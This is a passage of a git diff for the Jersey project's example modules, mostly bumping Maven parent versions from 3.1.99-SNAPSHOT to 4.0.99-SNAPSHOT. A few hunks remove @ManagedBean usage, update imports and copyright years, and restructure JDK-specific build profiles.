+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>extended-wadl-webapp</artifactId>
diff --git a/examples/freemarker-webapp/pom.xml b/examples/freemarker-webapp/pom.xml
index cb12a75..5c38c3c 100644
--- a/examples/freemarker-webapp/pom.xml
+++ b/examples/freemarker-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>freemarker-webapp</artifactId>
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml
index 0766899..766a1a9 100644
--- a/examples/groovy/pom.xml
+++ b/examples/groovy/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>groovy</artifactId>
     <packaging>jar</packaging>
diff --git a/examples/helloworld-benchmark/pom.xml b/examples/helloworld-benchmark/pom.xml
index b6345d6..cff7ec0 100644
--- a/examples/helloworld-benchmark/pom.xml
+++ b/examples/helloworld-benchmark/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-benchmark</artifactId>
diff --git a/examples/helloworld-cdi2-se/pom.xml b/examples/helloworld-cdi2-se/pom.xml
index 5343086..b796127 100644
--- a/examples/helloworld-cdi2-se/pom.xml
+++ b/examples/helloworld-cdi2-se/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-cdi2-se</artifactId>
diff --git a/examples/helloworld-netty/pom.xml b/examples/helloworld-netty/pom.xml
index 6d2611d..8bae70c 100644
--- a/examples/helloworld-netty/pom.xml
+++ b/examples/helloworld-netty/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-netty</artifactId>
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml
index cdcd93c..b976836 100644
--- a/examples/helloworld-programmatic/pom.xml
+++ b/examples/helloworld-programmatic/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-programmatic</artifactId>
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml
index 4fb0dd4..b3027bc 100644
--- a/examples/helloworld-pure-jax-rs/pom.xml
+++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-pure-jax-rs</artifactId>
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml
index 711712d..f198cb7 100644
--- a/examples/helloworld-spring-annotations/pom.xml
+++ b/examples/helloworld-spring-annotations/pom.xml
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>helloworld-spring-annotations</artifactId>
diff --git a/examples/helloworld-spring-webapp/pom.xml b/examples/helloworld-spring-webapp/pom.xml
index f02264d..c3a1cfc 100644
--- a/examples/helloworld-spring-webapp/pom.xml
+++ b/examples/helloworld-spring-webapp/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-spring-webapp</artifactId>
diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml
index d698f22..977ef53 100644
--- a/examples/helloworld-webapp/pom.xml
+++ b/examples/helloworld-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-webapp</artifactId>
diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml
index cdd4402..3abfe47 100644
--- a/examples/helloworld-weld/pom.xml
+++ b/examples/helloworld-weld/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-weld</artifactId>
diff --git a/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java b/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
index e3b5343..98e6f3e 100644
--- a/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
+++ b/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,8 +18,6 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
-import jakarta.annotation.ManagedBean;
-import jakarta.enterprise.context.ApplicationScoped;
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
@@ -70,7 +68,6 @@
     /**
      * JAX-RS application defined as a CDI bean.
      */
-    @ManagedBean
     public static class JaxRsApplication extends Application {
 
         @Context
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml
index 3997065..8d01bfb 100644
--- a/examples/helloworld/pom.xml
+++ b/examples/helloworld/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld</artifactId>
diff --git a/examples/http-patch/pom.xml b/examples/http-patch/pom.xml
index f1f662f..4203154 100644
--- a/examples/http-patch/pom.xml
+++ b/examples/http-patch/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-patch</artifactId>
diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml
index 183e475..d2c40ca 100644
--- a/examples/http-trace/pom.xml
+++ b/examples/http-trace/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-trace</artifactId>
diff --git a/examples/https-clientserver-grizzly/pom.xml b/examples/https-clientserver-grizzly/pom.xml
index 87f27c3..3c3e242 100644
--- a/examples/https-clientserver-grizzly/pom.xml
+++ b/examples/https-clientserver-grizzly/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-clientserver-grizzly</artifactId>
diff --git a/examples/https-server-glassfish/pom.xml b/examples/https-server-glassfish/pom.xml
index 3f5b890..239b99e 100644
--- a/examples/https-server-glassfish/pom.xml
+++ b/examples/https-server-glassfish/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-server-glassfish</artifactId>
diff --git a/examples/java8-webapp/pom.xml b/examples/java8-webapp/pom.xml
index 0ca1049..240287b 100644
--- a/examples/java8-webapp/pom.xml
+++ b/examples/java8-webapp/pom.xml
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>java8-webapp</artifactId>
diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml
index 5e3ee23..c3b338a 100644
--- a/examples/jaxb/pom.xml
+++ b/examples/jaxb/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxb</artifactId>
diff --git a/examples/jaxrs-types-injection/pom.xml b/examples/jaxrs-types-injection/pom.xml
index 6e48416..2a58ee0 100644
--- a/examples/jaxrs-types-injection/pom.xml
+++ b/examples/jaxrs-types-injection/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-types-injection</artifactId>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml
index 9c1b723..ee29792 100644
--- a/examples/jersey-ejb/pom.xml
+++ b/examples/jersey-ejb/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-ejb</artifactId>
diff --git a/examples/json-binding-webapp/pom.xml b/examples/json-binding-webapp/pom.xml
index fa61fc9..fbf78f8 100644
--- a/examples/json-binding-webapp/pom.xml
+++ b/examples/json-binding-webapp/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-binding-webapp</artifactId>
diff --git a/examples/json-jackson/pom.xml b/examples/json-jackson/pom.xml
index 2f86db1..ceda321 100644
--- a/examples/json-jackson/pom.xml
+++ b/examples/json-jackson/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/examples/json-jettison/pom.xml b/examples/json-jettison/pom.xml
index b0edc4b..ead7034 100644
--- a/examples/json-jettison/pom.xml
+++ b/examples/json-jettison/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jettison</artifactId>
diff --git a/examples/json-moxy/pom.xml b/examples/json-moxy/pom.xml
index 50a565a..7a993cd 100644
--- a/examples/json-moxy/pom.xml
+++ b/examples/json-moxy/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/examples/json-processing-webapp/pom.xml b/examples/json-processing-webapp/pom.xml
index dd883c3..3d521c3 100644
--- a/examples/json-processing-webapp/pom.xml
+++ b/examples/json-processing-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-processing-webapp</artifactId>
diff --git a/examples/json-with-padding/pom.xml b/examples/json-with-padding/pom.xml
index 27cf828..b4735da 100644
--- a/examples/json-with-padding/pom.xml
+++ b/examples/json-with-padding/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-with-padding</artifactId>
diff --git a/examples/managed-beans-webapp/pom.xml b/examples/managed-beans-webapp/pom.xml
index 7da876e..b39c47b 100644
--- a/examples/managed-beans-webapp/pom.xml
+++ b/examples/managed-beans-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-beans-webapp</artifactId>
diff --git a/examples/managed-client-simple-webapp/pom.xml b/examples/managed-client-simple-webapp/pom.xml
index 89f5292..ac87d7f 100644
--- a/examples/managed-client-simple-webapp/pom.xml
+++ b/examples/managed-client-simple-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-simple-webapp</artifactId>
diff --git a/examples/managed-client-webapp/pom.xml b/examples/managed-client-webapp/pom.xml
index 753b377..90cb7f1 100644
--- a/examples/managed-client-webapp/pom.xml
+++ b/examples/managed-client-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-webapp</artifactId>
diff --git a/examples/managed-client/pom.xml b/examples/managed-client/pom.xml
index 02ccb0a..4e65202 100644
--- a/examples/managed-client/pom.xml
+++ b/examples/managed-client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client</artifactId>
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml
index 0abfc92..0c5c855 100644
--- a/examples/micrometer/pom.xml
+++ b/examples/micrometer/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-micrometer-webapp</artifactId>
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
index bbaf91b..f1f9a3a 100644
--- a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -10,7 +10,7 @@
 
 package org.glassfish.jersey.examples.micrometer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 
 import jakarta.ws.rs.ApplicationPath;
diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml
index 5cf7c39..f343eb9 100644
--- a/examples/multipart-webapp/pom.xml
+++ b/examples/multipart-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>multipart-webapp</artifactId>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml
index 0f249e3..94901cc 100644
--- a/examples/oauth-client-twitter/pom.xml
+++ b/examples/oauth-client-twitter/pom.xml
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/examples/open-tracing/pom.xml b/examples/open-tracing/pom.xml
index 212728a..228769b 100644
--- a/examples/open-tracing/pom.xml
+++ b/examples/open-tracing/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>open-tracing</artifactId>
diff --git a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
index 77d0a7c..baf4eb7 100644
--- a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
index 56a73e5..584e736 100644
--- a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml
index 67daff2..2b98c99 100644
--- a/examples/osgi-helloworld-webapp/functional-test/pom.xml
+++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
index 2c5e7e3..2eed960 100644
--- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml
index 531d0b0..22625ff 100644
--- a/examples/osgi-helloworld-webapp/pom.xml
+++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>osgi-helloworld-webapp</artifactId>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
index 40a4be5..7e69463 100644
--- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-http-service/functional-test/pom.xml b/examples/osgi-http-service/functional-test/pom.xml
index 6e74fc8..bceb6e8 100644
--- a/examples/osgi-http-service/functional-test/pom.xml
+++ b/examples/osgi-http-service/functional-test/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-http-service</artifactId>
-        <version>3.1.0-SNAPSHOT</version>
+        <version>4.0.0-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-http-service</groupId>
@@ -159,6 +159,11 @@
             <artifactId>jakarta.xml.bind-api</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <build>
@@ -233,38 +238,6 @@
 
     <profiles>
         <profile>
-            <id>testsJdk11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.angus</groupId>
-                    <artifactId>angus-activation</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <excludes>
-                                <exclude>**/GrizzlyHttpServiceFelixTest.java</exclude>
-                                <exclude>**/JettyHttpServiceFelixTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>release</id>
             <!-- do not create source zip bundles -->
             <build>
diff --git a/examples/pom.xml b/examples/pom.xml
index 12e28f0..26d8eb9 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <licenses>
@@ -77,6 +77,8 @@
         <module>helloworld-netty</module>
         <module>helloworld-programmatic</module>
         <module>helloworld-pure-jax-rs</module>
+        <module>helloworld-spring-webapp</module>
+        <module>helloworld-spring-annotations</module>
         <module>helloworld-webapp</module>
         <module>helloworld-weld</module>
         <module>http-patch</module>
@@ -93,7 +95,7 @@
         <module>json-moxy</module>
         <module>json-processing-webapp</module>
         <module>json-with-padding</module>
-        <module>managed-beans-webapp</module>
+<!--        <module>managed-beans-webapp</module> No @ManagedBean any longer-->
         <module>managed-client</module>
         <module>managed-client-webapp</module>
         <module>managed-client-simple-webapp</module>
@@ -279,18 +281,4 @@
             </resource>
         </resources>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
-                <module>helloworld-spring-webapp</module>
-                <module>helloworld-spring-annotations</module>
-            </modules>
-        </profile>
-    </profiles>
-
 </project>
diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml
index 52db10f..439d704 100644
--- a/examples/reload/pom.xml
+++ b/examples/reload/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>reload</artifactId>
diff --git a/examples/rest31-sebootstrap-multipart/pom.xml b/examples/rest31-sebootstrap-multipart/pom.xml
index e188dfa..cacf4c0 100644
--- a/examples/rest31-sebootstrap-multipart/pom.xml
+++ b/examples/rest31-sebootstrap-multipart/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>rest31-sebootstrap-multipart</artifactId>
diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml
index 116b9ca..9f81231 100644
--- a/examples/rx-client-webapp/pom.xml
+++ b/examples/rx-client-webapp/pom.xml
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>rx-client-webapp</artifactId>
diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml
index 952fba0..58b3f6c 100644
--- a/examples/server-async-managed/pom.xml
+++ b/examples/server-async-managed/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-managed</artifactId>
diff --git a/examples/server-async-standalone/client/pom.xml b/examples/server-async-standalone/client/pom.xml
index 1bd05c8..a340e2b 100644
--- a/examples/server-async-standalone/client/pom.xml
+++ b/examples/server-async-standalone/client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-client</artifactId>
diff --git a/examples/server-async-standalone/pom.xml b/examples/server-async-standalone/pom.xml
index 078dd8a..53d67f9 100644
--- a/examples/server-async-standalone/pom.xml
+++ b/examples/server-async-standalone/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone</artifactId>
diff --git a/examples/server-async-standalone/webapp/pom.xml b/examples/server-async-standalone/webapp/pom.xml
index 47c204d..621d286 100644
--- a/examples/server-async-standalone/webapp/pom.xml
+++ b/examples/server-async-standalone/webapp/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-webapp</artifactId>
diff --git a/examples/server-async/pom.xml b/examples/server-async/pom.xml
index 0bc3926..cfdf423 100644
--- a/examples/server-async/pom.xml
+++ b/examples/server-async/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async</artifactId>
diff --git a/examples/server-sent-events-jaxrs/pom.xml b/examples/server-sent-events-jaxrs/pom.xml
index 5b8688a..e9828ea 100644
